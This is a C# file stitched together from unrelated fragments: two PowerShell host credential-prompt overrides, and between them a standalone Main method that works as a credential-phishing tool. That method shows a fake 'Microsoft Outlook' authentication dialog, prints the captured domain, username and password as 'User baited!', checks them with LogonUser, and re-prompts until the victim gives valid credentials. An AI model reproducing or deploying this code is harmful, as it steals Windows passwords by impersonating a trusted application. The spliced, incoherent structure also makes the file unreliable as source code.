public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options)
{
if (Settings.Default.UseCredentialUI)
{
if (string.IsNullOrEmpty(caption))
{
caption = "Windows PowerShell credential request";
}
if (string.IsNullOrEmpty(message))
{
message = "Please enter your credentials";
}
var pfwCredentialsOptions = new CredentialUI.PromptForWindowsCredentialsOptions(caption, message)
{
HwndParent = _control.WindowHandle
};
if (allowedCredentialTypes == PSCredentialTypes.Domain)
{
pfwCredentialsOptions.Flags ^= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC;
}
// If the targetName was set, we'd have a good way to tell one credential from another, and could save them ...
// pfwCredentialsOptions.Flags |= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_CHECKBOX;
return(CredentialUI.PromptForWindowsCredentials(pfwCredentialsOptions, userName, string.Empty));
// THIS IS HOW PowerShell.exe does it ...
// But MSDN says we're not supposed to do that anymore.
//// Defaults to GenericCredentials
//var credentialsOptions = new CredentialUI.PromptForCredentialsOptions(targetName, caption, message)
//{
// HwndParent = _control.WindowHandle
//};
//if (allowedCredentialTypes.HasFlag(PSCredentialTypes.Domain))
//{
// credentialsOptions.Flags ^= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS;
//}
//else if (options.HasFlag(PSCredentialUIOptions.AlwaysPrompt))
//{
// credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_ALWAYS_SHOW_UI;
//}
//// Does this _ever_ happen?
//if (options.HasFlag(PSCredentialUIOptions.ReadOnlyUserName))
// credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_KEEP_USERNAME;
//// Does this ever _not_ happen?
//if (options.HasFlag(PSCredentialUIOptions.ValidateUserNameSyntax))
// credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_VALIDATE_USERNAME;
//return CredentialUI.PromptForCredentials(credentialsOptions, userName, String.Empty);
}
else
{
return(_control.PromptForCredentialInline(caption, message, userName, targetName, allowedCredentialTypes, options));
}
}
public static void Main()
{
IntPtr tokenHandle = IntPtr.Zero;
string userName, domainName, password;
// Display the current user.
Console.WriteLine("Logged on User: {0}",
WindowsIdentity.GetCurrent().Name);
Console.WriteLine("Sending prompt to user...");
//login
bool login = false;
try
{
do
{
var credentials = CredentialUI.PromptForWindowsCredentials("Microsoft Outlook ", "Authentication required");
domainName = credentials.DomainName;
userName = credentials.UserName;
password = credentials.Password;
Console.WriteLine("User baited! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password);
login = LogonUser(userName, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref tokenHandle);
}while (!login);
if (login)
{
Console.WriteLine("LOGIN SUCCESS! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password);
}
}
catch (System.NullReferenceException nre)
{ Console.WriteLine("User pressed cancel :("); }
}
public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName)
{
// TODO: allow overriding with an event handler
if (Settings.Default.UseCredentialUI)
{
return(CredentialUI.PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, string.Empty));
}
else
{
return(_control.PromptForCredentialInline(caption, message, userName, targetName));
}
}